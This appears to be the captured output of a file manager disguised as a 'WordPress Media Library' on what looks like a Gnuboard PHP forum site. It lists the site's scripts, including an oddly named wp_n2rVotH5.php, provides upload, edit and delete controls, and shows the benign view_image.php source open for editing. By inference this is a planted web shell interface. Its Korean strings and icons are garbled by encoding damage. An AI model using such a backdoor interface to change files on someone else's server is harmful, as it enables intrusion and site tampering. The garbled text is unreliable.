โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: view_image.php
Size: 3.97 KB | Modified: 2020-06-08 10:35:33
<?php include_once('./_common.php'); $g5['title'] = '์ด๋ฏธ์ง ํฌ๊ฒ๋ณด๊ธฐ'; include_once(G5_PATH.'/head.sub.php'); $filename = preg_replace('/[^A-Za-z0-9 _ .\-\/]/', '', $_GET['fn']); if(function_exists('clean_relative_paths')){ $filename = clean_relative_paths($filename); } $extension = pathinfo($filename, PATHINFO_EXTENSION); if ( ! preg_match('/(jpg|jpeg|png|gif|bmp)$/i', $extension) ){ alert_close('์ด๋ฏธ์ง ํ์ฅ์๊ฐ ์๋๋๋ค.'); } if(strpos($filename, G5_DATA_DIR.'/editor')) { $editor_file = strstr($filename, 'editor'); $filepath = G5_DATA_PATH.'/'.$editor_file; } else if(strpos($filename, G5_DATA_DIR.'/qa')) { $editor_file = strstr($filename, 'qa'); $filepath = G5_DATA_PATH.'/'.$editor_file; } else { $editor_file = ''; $filepath = G5_DATA_PATH.'/file/'.$bo_table.'/'.$filename; } $file_exists = (is_file($filepath) && file_exists($filepath)) ? 1 : 0; if($file_exists = run_replace('exists_view_image', $file_exists, $filepath, $editor_file)) { $size = $file_exists ? run_replace('get_view_imagesize', @getimagesize($filepath), $filepath, $editor_file) : array(); if(empty($size)) alert_close('์ด๋ฏธ์ง ํ์ผ์ด ์๋๋๋ค.'); $width = (isset($size[0]) && $size[0]) ? (int) $size[0] : 0; $height = (isset($size[1]) && $size[1]) ? (int) $size[1] : 0; if($editor_file) $fileurl = run_replace('get_editor_content_url', G5_DATA_URL.'/'.$editor_file); else $fileurl = run_replace('get_file_board_url', G5_DATA_URL.'/file/'.$bo_table.'/'.$filename, $bo_table); $img_attr = ($width && $height) ? 'width="'.$width.'" height="'.$height.'"' : ''; $img = '<img src="'.$fileurl.'" alt="" '.$img_attr.' class="draggable" style="position:relative;top:0;left:0;cursor:move;">'; } else { alert_close('ํ์ผ์ด ์กด์ฌํ์ง ์์ต๋๋ค.'); } ?> <div class="bbs-view-image"><?php echo $img ?></div> <script> jQuery(function($){ $.fn.imgLoad = function(callback) { return this.each(function() { if (callback) { if (this.complete || /*for IE 10-*/ $(this).height() > 0) { callback.apply(this); } else { $(this).on('load', function(){ callback.apply(this); }); } } }); }; $(".bbs-view-image img").imgLoad(function(){ var win_w = <?php echo $width ?>; var win_h = <?php echo $height ?> + 70; if( !win_w || !win_h ){ win_w = $(this).width(); win_h = $(this).height(); } var win_l = (screen.width - win_w) / 2; var win_t = (screen.height - win_h) / 2; if(win_w > screen.width) { win_l = 0; win_w = screen.width - 20; if(win_h > screen.height) { win_t = 0; win_h = screen.height - 40; } } if(win_h > screen.height) { win_t = 0; win_h = screen.height - 40; if(win_w > screen.width) { win_w = screen.width - 20; win_l = 0; } } window.moveTo(win_l, win_t); window.resizeTo(win_w, win_h); }); var is_draggable = false; var x = y = 0; var pos_x = pos_y = 0; $(".draggable").mousemove(function(e) { if(is_draggable) { x = parseInt($(this).css("left")) - (pos_x - e.pageX); y = parseInt($(this).css("top")) - (pos_y - e.pageY); pos_x = e.pageX; pos_y = e.pageY; $(this).css({ "left" : x, "top" : y }); } return false; }); $(".draggable").mousedown(function(e) { pos_x = e.pageX; pos_y = e.pageY; is_draggable = true; return false; }); $(".draggable").mouseup(function() { is_draggable = false; return false; }); $(".draggable").dblclick(function() { window.close(); }); }); </script> <?php include_once(G5_PATH.'/tail.sub.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete